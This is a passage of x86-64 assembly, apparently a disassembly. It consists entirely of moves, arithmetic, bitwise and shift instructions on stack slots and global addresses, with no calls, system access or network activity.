mov byte [rsp + 0x1b0], al
movzx eax, byte [0x14019d7b6]
mov rcx, qword [rsp + 0xc528]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd0c0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1068]
mov rcx, qword [rsp + 0xc2e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019bfb0], ax
lea rax, [rsp + 0x4460]
mov qword [rsp + 0xd238], rax
mov rax, qword [0x14019dbd8]
mov ecx, dword [rsp + 0x4460]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4238], eax
movzx eax, word [rsp + 0xf90]
mov word [rsp + 0x13f0], ax
mov rax, qword [rsp + 0xbdb8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1cf]
sub eax, ecx
mov rcx, qword [rsp + 0xcf88]
mov byte [rcx], al
mov eax, dword [rsp + 0x4368]
mov ecx, dword [0x14019bfa0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4878], eax
lea rax, [rsp + 0x4b48]
mov qword [rsp + 0xd240], rax
mov rax, qword [rsp + 0xbab0]
mov ecx, dword [0x14019c070]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x441c], eax
lea rax, [rsp + 0x3388]
mov qword [rsp + 0xd248], rax
lea rax, [rsp + 0x17f]
mov qword [0x14019dfa8], rax
movzx eax, word [rsp + 0xffc]
movzx ecx, word [rsp + 0xfd4]
add eax, ecx
mov word [rsp + 0xf54], ax
mov rax, qword [rsp + 0xb7b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43b4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc220]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4d50]
movzx ecx, al
mov eax, dword [rsp + 0x4334]
sar eax, cl
mov dword [rsp + 0x3638], eax
movsx eax, word [rsp + 0x10ec]
movsx ecx, word [rsp + 0x1170]
shl eax, cl
mov rcx, qword [rsp + 0xc3f0]
mov word [rcx], ax
lea rax, [rsp + 0x1d3]
mov qword [rsp + 0xd250], rax
mov rax, qword [rsp + 0xd108]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc408]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x230], al
lea rax, [rsp + 0x1350]
mov qword [rsp + 0xd258], rax
mov rax, qword [rsp + 0xc768]
mov rcx, qword [rsp + 0xcea8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa748]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4c28]
mov dword [0x14019dfb0], eax
mov rax, qword [rsp + 0xc580]
mov rcx, qword [rsp + 0xb070]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd070]
mov dword [rcx], eax
mov eax, dword [rsp + 0x39a0]
mov dword [rsp + 0x4ddc], eax
mov rax, qword [rsp + 0xc990]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41dc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd070]
mov dword [rcx], eax
movzx eax, word [rsp + 0xd68]
mov word [rsp + 0x13f4], ax
movzx eax, byte [0x14019d794]
mov rcx, qword [rsp + 0xd028]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc788]
mov byte [rcx], al
mov rax, qword [rsp + 0xb770]
mov rcx, qword [rsp + 0xb1e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xcdb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbaa8]
mov eax, dword [rax]
mov dword [rsp + 0x4de0], eax
mov rax, qword [0x14019d8c0]
mov rcx, qword [rsp + 0xa9d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb430]
mov dword [rcx], eax
mov rax, qword [rsp + 0xad90]
mov rcx, qword [rsp + 0xb820]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x14019dc58]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc4c8]
movzx eax, byte [rax]
mov byte [rsp + 0x2a1], al
movzx eax, word [rsp + 0xcec]
mov rcx, qword [rsp + 0xc888]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x124c], ax
movsx eax, byte [rsp + 0x1bc]
movsx ecx, byte [rsp + 0x14c]
sub eax, ecx
mov byte [rsp + 0x1e4], al
mov rax, qword [0x14019d7a8]
movzx eax, word [rax]
mov word [rsp + 0x13f8], ax
mov rax, qword [rsp + 0xbc40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb2b0]
mov qword [rsp + 0xd260], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd260]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xb6a0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3e8c]
mov dword [rsp + 0x4de4], eax
mov rax, qword [rsp + 0xbdd8]
movzx eax, word [rax]
mov rcx, qword [0x14019d8a0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xf50], ax
mov rax, qword [rsp + 0xbfd8]
movzx eax, byte [rax]
mov byte [rsp + 0x2a2], al
mov rax, qword [rsp + 0xb8b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x44b8]
shl eax, cl
mov dword [0x14019d908], eax
mov rax, qword [rsp + 0xb6e0]
mov rcx, qword [0x14019d9a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x43a0], eax
mov rax, qword [rsp + 0xc9a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x424c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb160]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4128]
mov dword [rsp + 0x4de8], eax
movzx eax, byte [rsp + 0x234]
movzx ecx, byte [rsp + 0x204]
add eax, ecx
mov byte [rsp + 0x1cc], al
mov rax, qword [rsp + 0xb320]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf64]
add eax, ecx
mov word [rsp + 0xdcc], ax
mov eax, dword [0x14019c058]
mov ecx, dword [rsp + 0x4480]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa998]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbb90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4408]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x47d8], eax
mov eax, dword [rsp + 0x4cd4]
mov dword [rsp + 0x4dec], eax
lea rax, [rsp + 0x4c70]
mov qword [0x14019dfb8], rax
mov rax, qword [rsp + 0xcae0]
mov rcx, qword [rsp + 0xd100]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x46f0], eax
mov rax, qword [rsp + 0xc820]
movzx eax, word [rax]
mov word [rsp + 0x13fc], ax
movsx eax, byte [rsp + 0x20a]
mov rcx, qword [rsp + 0xbdd0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7b], al
movzx eax, byte [rsp + 0x29a]
movzx ecx, byte [rsp + 0x188]
sub eax, ecx
mov byte [rsp + 0x1a3], al
movzx eax, word [rsp + 0xff0]
mov word [rsp + 0x1400], ax
mov rax, qword [rsp + 0xb358]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x422c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41e0], eax
mov eax, dword [rsp + 0x4178]
mov dword [rsp + 0x4df0], eax
mov rax, qword [rsp + 0xb0b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc4b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc770]
mov byte [rcx], al
movzx eax, word [rsp + 0x1308]
mov rcx, qword [rsp + 0xc148]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14019bf6c], ax
mov eax, dword [rsp + 0x49fc]
movzx ecx, al
mov eax, dword [0x14019c0c0]
shr eax, cl
mov rcx, qword [rsp + 0xc180]
mov dword [rcx], eax
lea rax, [rsp + 0x474c]
mov qword [rsp + 0xd268], rax
mov rax, qword [rsp + 0xbae8]
mov ecx, dword [rsp + 0x438c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3fc0], eax
mov eax, dword [rsp + 0x473c]
mov dword [rsp + 0x4df4], eax
movzx eax, byte [rsp + 0x175]
mov rcx, qword [rsp + 0xb340]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa9b8]
mov byte [rcx], al
lea rax, [rsp + 0x12e4]
mov qword [rsp + 0xd270], rax
mov eax, dword [rsp + 0x4974]
mov ecx, dword [rsp + 0x43cc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb790]
mov dword [rcx], eax
mov eax, dword [rsp + 0x43c4]
mov ecx, dword [rsp + 0x4554]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xac30]
mov dword [rcx], eax
lea rax, [rsp + 0x13d4]
mov qword [0x14019dfc0], rax
mov rax, qword [rsp + 0xcff0]
movzx eax, byte [rax]
mov byte [rsp + 0x2a3], al
mov rax, qword [rsp + 0xb508]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc848]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb850]
mov word [rcx], ax
mov rax, qword [rsp + 0xcf18]
movzx eax, byte [rax]
mov byte [rsp + 0x2a4], al
mov eax, dword [rsp + 0x4c1c]
mov ecx, dword [rsp + 0x484c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa8c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xacc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4924]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a90], eax
mov rax, qword [rsp + 0xc000]
mov eax, dword [rax]
mov dword [rsp + 0x4df8], eax
mov rax, qword [rsp + 0xbe40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4298]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3978], eax
mov rax, qword [rsp + 0xbed0]
mov eax, dword [rax]
mov dword [rsp + 0x4dfc], eax
movzx eax, word [rsp + 0x1030]
movzx ecx, word [rsp + 0xc3c]
and eax, ecx
mov word [rsp + 0x118c], ax
mov rax, qword [rsp + 0xc0d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc6c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14019dbc8]
mov byte [rcx], al
mov rax, qword [rsp + 0xae10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f80]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb9f8]
mov dword [rcx], eax
lea rax, [rsp + 0x46d4]
mov qword [rsp + 0xd278], rax
mov rax, qword [rsp + 0xb998]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x49ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x47c4], eax
lea rax, [rsp + 0x4710]
mov qword [rsp + 0xd280], rax
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [rsp + 0xc408]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x161], al
movzx eax, word [0x14019c088]
mov rcx, qword [rsp + 0xc958]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x13e8], ax
movsx eax, word [rsp + 0xfc8]
movsx ecx, word [rsp + 0x13cc]
shl eax, cl
mov word [rsp + 0xcf4], ax
movsx eax, byte [rsp + 0x28b]
mov rcx, qword [rsp + 0xa7d0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xc2], al
mov eax, dword [rsp + 0x47e0]
mov ecx, dword [rsp + 0x4c94]
and ecx, eax
mov eax, ecx
mov dword [0x14019c0d0], eax
lea rax, [rsp + 0x4808]
mov qword [rsp + 0xd288], rax
mov rax, qword [rsp + 0xb290]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd018]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbae0]
mov word [rcx], ax
lea rax, [rsp + 0x297]
mov qword [rsp + 0xd290], rax
mov eax, dword [rsp + 0x4930]
mov ecx, dword [rsp + 0x4334]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4624], eax
mov rax, qword [0x14019dca8]
mov ecx, dword [rsp + 0x41d0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xab08]
mov dword [rcx], eax
lea rax, [rsp + 0x46b8]
mov qword [rsp + 0xd298], rax
mov rax, qword [rsp + 0xbf38]
mov rcx, qword [rsp + 0xca38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4528], eax
mov rax, qword [0x14019d980]
movzx eax, byte [rax]
mov byte [rsp + 0x2a5], al
mov rax, qword [rsp + 0xd058]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcfe8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019c0d4], ax
mov eax, dword [rsp + 0x4390]
mov ecx, dword [rsp + 0x4460]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x43d0], eax
mov rax, qword [rsp + 0xc548]
mov ecx, dword [rsp + 0x3d74]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xc0b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4914]
mov dword [rsp + 0x4e00], eax
mov rax, qword [rsp + 0xc258]
mov rcx, qword [rsp + 0xbcc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4c90], eax
mov rax, qword [rsp + 0xb820]
mov eax, dword [rax]
mov dword [rsp + 0x4e04], eax
movsx eax, byte [rsp + 0x2a0]
mov rcx, qword [rsp + 0xc840]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xbcb0]
mov byte [rcx], al
movsx eax, word [rsp + 0x13ec]
movsx ecx, word [rsp + 0x12cc]
or eax, ecx
mov rcx, qword [rsp + 0xb0f8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb5e0]
movzx eax, word [rax]
mov word [rsp + 0x1404], ax
mov rax, qword [rsp + 0xb978]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb968]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x14019bfd2], al
mov rax, qword [rsp + 0xc558]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc008]
mov qword [rsp + 0xd2a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd2a0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xc898]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcda8]
mov eax, dword [rax]
mov dword [rsp + 0x4e08], eax
movzx eax, word [rsp + 0x1324]
mov rcx, qword [rsp + 0xb5e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf68], ax
lea rax, [rsp + 0x1f5]
mov qword [rsp + 0xd2a8], rax
mov rax, qword [rsp + 0xcf78]
mov rcx, qword [rsp + 0xb400]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xcd28]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4afc]
mov ecx, dword [rsp + 0x43f4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc3e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa9d0]
mov eax, dword [rax]
mov dword [rsp + 0x4e0c], eax
mov rax, qword [rsp + 0xb110]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4518]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb4b8]
mov dword [rcx], eax
lea rax, [rsp + 0x11fc]
mov qword [0x14019dfc8], rax
lea rax, [rsp + 0x1cc]
mov qword [rsp + 0xd2b0], rax
mov rax, qword [rsp + 0xa508]
mov ecx, dword [rsp + 0x4564]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x43a4], eax
mov rax, qword [rsp + 0xc0c0]
mov rcx, qword [rsp + 0xaa50]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xcc38]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb810]
movzx eax, word [rax]
mov word [rsp + 0x1408], ax
mov rax, qword [0x14019de60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1eb]
add eax, ecx
mov byte [rsp + 0x1f2], al
lea rax, [rsp + 0xf50]
mov qword [rsp + 0xd2b8], rax
mov rax, qword [rsp + 0xbfd8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x19d]
add eax, ecx
mov rcx, qword [rsp + 0xd158]
mov byte [rcx], al
mov rax, qword [0x14019dc18]
mov rcx, qword [rsp + 0xc868]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x484c], eax
mov rax, qword [rsp + 0xc9c0]
mov ecx, dword [rsp + 0x4580]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14019bf30], eax
mov rax, qword [rsp + 0xbab8]
mov eax, dword [rax]
mov dword [rsp + 0x4e10], eax
mov eax, dword [rsp + 0x40f0]
mov ecx, dword [rsp + 0x4b58]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3acc], eax
lea rax, [rsp + 0x4d40]
mov qword [rsp + 0xd2c0], rax
movzx eax, word [rsp + 0x12b8]
mov rcx, qword [0x14019dd40]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xcaf8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x15f]
mov rcx, qword [rsp + 0xd158]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x252], al
lea rax, [rsp + 0x3518]
mov qword [rsp + 0xd2c8], rax
mov rax, qword [rsp + 0xc180]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb4f0]
mov qword [rsp + 0xd2d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd2d0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xb2f0]
mov dword [rcx], eax
lea rax, [rsp + 0x4884]
mov qword [rsp + 0xd2d8], rax
mov rax, qword [rsp + 0xc5a8]
mov eax, dword [rax]
mov dword [0x14019dfd0], eax
mov rax, qword [rsp + 0xd290]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xac78]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdd], al
lea rax, [0x14019d850]
mov qword [rsp + 0xd2e0], rax
movsx eax, word [rsp + 0x1188]
mov rcx, qword [rsp + 0xc1f8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfa0], ax
movsx eax, byte [rsp + 0x266]
mov rcx, qword [0x14019dc68]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa900]
mov byte [rcx], al
mov rax, qword [rsp + 0xb680]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x346c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ae0], eax
mov rax, qword [rsp + 0xb668]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41d4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc510]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1ad]
mov byte [rsp + 0x2a6], al
movzx eax, word [rsp + 0xfcc]
movzx ecx, word [rsp + 0x1384]
add eax, ecx
mov word [rsp + 0x1224], ax
mov rax, qword [rsp + 0xb9f8]
mov rcx, qword [rsp + 0xc3f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019c038], eax
mov rax, qword [rsp + 0xb6e0]
mov ecx, dword [rsp + 0x4738]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4aac], eax
lea rax, [rsp + 0x46c4]
mov qword [rsp + 0xd2e8], rax
mov rax, qword [rsp + 0xb9a8]
mov ecx, dword [rsp + 0x49b0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb1d8]
mov dword [rcx], eax
mov rax, qword [0x14019dc88]
movzx eax, word [rax]
mov word [rsp + 0x140c], ax
movzx eax, byte [rsp + 0x24d]
mov rcx, qword [rsp + 0xa488]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2a1], al
mov eax, dword [0x14019dfd0]
mov ecx, dword [rsp + 0x49b8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xac68]
mov dword [rcx], eax
mov rax, qword [rsp + 0xab30]
mov eax, dword [rax]
mov dword [rsp + 0x4e14], eax
mov rax, qword [rsp + 0xa5f0]
mov ecx, dword [rsp + 0x4604]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4360], eax
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa950]
mov qword [rsp + 0xd2f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd2f0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [0x14019d960]
mov dword [rcx], eax
lea rax, [rsp + 0x3fdc]
mov qword [rsp + 0xd2f8], rax
mov rax, qword [rsp + 0xb3f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1d7]
or eax, ecx
mov byte [rsp + 0x1fd], al
movzx eax, word [rsp + 0x12f0]
mov word [rsp + 0x1410], ax
movzx eax, byte [0x14019bfd2]
movzx ecx, byte [rsp + 0x25f]
shl eax, cl
mov rcx, qword [rsp + 0xcd00]
mov byte [rcx], al
movzx eax, word [rsp + 0xfb8]
movzx ecx, word [rsp + 0xf1c]
and eax, ecx
mov word [rsp + 0xfd8], ax
mov rax, qword [rsp + 0xbb38]
mov eax, dword [rax]
mov dword [rsp + 0x4e18], eax
mov rax, qword [rsp + 0xbbc8]
mov ecx, dword [rsp + 0x4834]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc460]
mov dword [rcx], eax
mov rax, qword [rsp + 0xad18]
movzx eax, byte [rax]
mov byte [rsp + 0x2a7], al
movzx eax, word [rsp + 0x1208]
movzx ecx, word [rsp + 0x1134]
add eax, ecx
mov word [0x14019c0d8], ax
mov rax, qword [rsp + 0xbb28]
mov ecx, dword [rsp + 0x3348]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x41f0], eax
mov eax, dword [rsp + 0x44c4]
mov ecx, dword [rsp + 0x4080]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4330], eax
lea rax, [0x14019c020]
mov qword [rsp + 0xd300], rax
mov rax, qword [rsp + 0xaa60]
mov ecx, dword [rsp + 0x41ac]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xcba8]
mov dword [rcx], eax
lea rax, [rsp + 0x128c]
mov qword [rsp + 0xd308], rax
mov rax, qword [rsp + 0xc3e8]
movzx eax, byte [rax]
movzx ecx, byte [0x14019bf07]
sub eax, ecx
mov rcx, qword [rsp + 0xc408]
mov byte [rcx], al
mov rax, qword [rsp + 0xb728]
mov rcx, qword [rsp + 0xaad8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xabc8]
mov dword [rcx], eax
lea rax, [rsp + 0x4568]
mov qword [rsp + 0xd310], rax
mov rax, qword [rsp + 0xbd20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa440]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14019c0dc], ax
mov rax, qword [rsp + 0xa638]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16c]
xor eax, ecx
mov byte [rsp + 0x221], al
lea rax, [rsp + 0x1260]
mov qword [rsp + 0xd318], rax
movzx eax, byte [0x14019bf6e]
mov rcx, qword [rsp + 0xcc58]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x245], al
mov eax, dword [rsp + 0x49c8]
movzx ecx, al
mov eax, dword [rsp + 0x4910]
shr eax, cl
mov dword [rsp + 0x499c], eax
mov eax, dword [rsp + 0x4be4]
mov dword [rsp + 0x4e1c], eax
mov rax, qword [rsp + 0xa8f0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4d68]
shl eax, cl
mov rcx, qword [rsp + 0xab30]
mov dword [rcx], eax
lea rax, [rsp + 0x48e8]
mov qword [rsp + 0xd320], rax
mov eax, dword [rsp + 0x480c]
mov ecx, dword [rsp + 0x4894]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb3e0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x11c8]
mov word [rsp + 0x1414], ax
movzx eax, byte [rsp + 0x10d]
mov rcx, qword [rsp + 0xbf98]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14019df88]
mov byte [rcx], al
mov rax, qword [rsp + 0xc678]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48bc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbd60]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3f1c]
mov ecx, dword [0x14019c058]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4894], eax
mov rax, qword [rsp + 0xa9a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3410], eax
mov rax, qword [rsp + 0xa8c8]
mov rcx, qword [rsp + 0xa778]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4e1c], eax
movzx eax, word [rsp + 0x1044]
mov word [rsp + 0x1418], ax
movzx eax, byte [rsp + 0x1ba]
movzx ecx, byte [rsp + 0x1aa]
sub eax, ecx
mov byte [rsp + 0x10d], al
movsx eax, byte [0x14019d7e7]
mov rcx, qword [rsp + 0xa818]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc5a0]
mov byte [rcx], al
lea rax, [rsp + 0x13b8]
mov qword [rsp + 0xd328], rax
mov rax, qword [rsp + 0xae98]
mov ecx, dword [rsp + 0x45d0]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019bf34], eax
mov rax, qword [0x14019da70]
mov rcx, qword [rsp + 0xbff8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x430c], eax
movzx eax, word [rsp + 0x1220]
mov word [rsp + 0x141c], ax
movzx eax, byte [rsp + 0x1c2]
mov rcx, qword [rsp + 0xcc10]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x158], al
mov eax, dword [rsp + 0x3f00]
movzx ecx, al
mov eax, dword [rsp + 0x41e4]
shl eax, cl
mov dword [rsp + 0x4c88], eax
lea rax, [rsp + 0x4de0]
mov qword [rsp + 0xd330], rax
mov eax, dword [rsp + 0x4b64]
movzx ecx, al
mov eax, dword [rsp + 0x42e4]
sar eax, cl
mov dword [rsp + 0x4bc8], eax
lea rax, [rsp + 0x3b60]
mov qword [rsp + 0xd338], rax
movzx eax, word [rsp + 0x10f0]
movzx ecx, word [rsp + 0xf18]
or eax, ecx
mov rcx, qword [rsp + 0xbee8]
mov word [rcx], ax
lea rax, [rsp + 0x147]
mov qword [0x14019dfd8], rax
mov rax, qword [rsp + 0xbd60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3418]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4988], eax
mov eax, dword [rsp + 0x4848]
mov dword [rsp + 0x4e20], eax
mov rax, qword [rsp + 0xb188]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x440c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa8a0]
mov dword [rcx], eax
lea rax, [rsp + 0x447c]
mov qword [rsp + 0xd340], rax
mov rax, qword [rsp + 0xb770]
mov ecx, dword [rsp + 0x4b3c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x48e4], eax
mov rax, qword [rsp + 0xafe8]
movzx eax, byte [rax]
mov byte [rsp + 0x2a8], al
mov rax, qword [rsp + 0xa688]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11a4]
add eax, ecx
mov word [rsp + 0x1300], ax
movzx eax, word [rsp + 0x133c]
movzx ecx, word [rsp + 0xebc]
sub eax, ecx
mov word [rsp + 0x1158], ax
movzx eax, byte [rsp + 0x12e]
mov rcx, qword [rsp + 0xc0e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14019bfb2], al
mov eax, dword [0x14019bf34]
mov dword [rsp + 0x4e24], eax
mov rax, qword [rsp + 0xc3e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4460]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ba0], eax
lea rax, [rsp + 0xf94]
mov qword [rsp + 0xd348], rax
movzx eax, byte [rsp + 0x1e1]
mov rcx, qword [rsp + 0xb9a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb708]
mov byte [rcx], al
mov rax, qword [rsp + 0xb4f8]
mov rcx, qword [rsp + 0xa700]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xad30]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb458]
mov eax, dword [rax]
mov dword [rsp + 0x4e28], eax
mov rax, qword [rsp + 0xc580]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a5c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbef0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb248]
mov eax, dword [rax]
mov dword [rsp + 0x4e2c], eax
lea rax, [rsp + 0x10d8]
mov qword [0x14019dfe0], rax
movzx eax, byte [rsp + 0x1d1]
movzx ecx, byte [rsp + 0x10d]
